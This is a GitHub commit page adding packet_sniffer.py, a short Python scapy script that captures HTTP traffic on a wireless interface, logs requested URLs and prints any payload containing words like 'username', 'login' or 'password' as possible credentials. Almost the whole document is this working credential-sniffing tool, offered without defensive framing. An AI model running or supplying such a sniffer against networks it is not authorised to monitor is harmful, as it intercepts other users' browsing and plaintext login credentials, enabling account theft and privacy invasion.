Skip to content

Commit

Permalink
packet_sniffer.py creation
Browse files Browse the repository at this point in the history
  • Loading branch information
GedorN committed Jul 19, 2022
1 parent c0ddfea commit 35d9df8
Showing 1 changed file with 22 additions and 0 deletions.
22 changes: 22 additions & 0 deletions packet_sniffer.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
#!/usr/bin/env python
import scapy.all as scapy
from scapy.layers import http

def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniff_packet)

def get_url(packet):
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path

def process_sniff_packet(packet):
if packet.haslayer(http.HTTPRequest) and packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
url = get_url(packet)
print("[+] HTTP Request" + url.decode())
keywords = ["username", "user", "login", "password", "pass"]
for keyword in keywords:
if keyword in str(load):
print(f"\n\n[+] Possible username/password > {load.decode()}\n\n")
break

sniff("wlp2s0")

0 comments on commit 35d9df8

Please sign in to comment.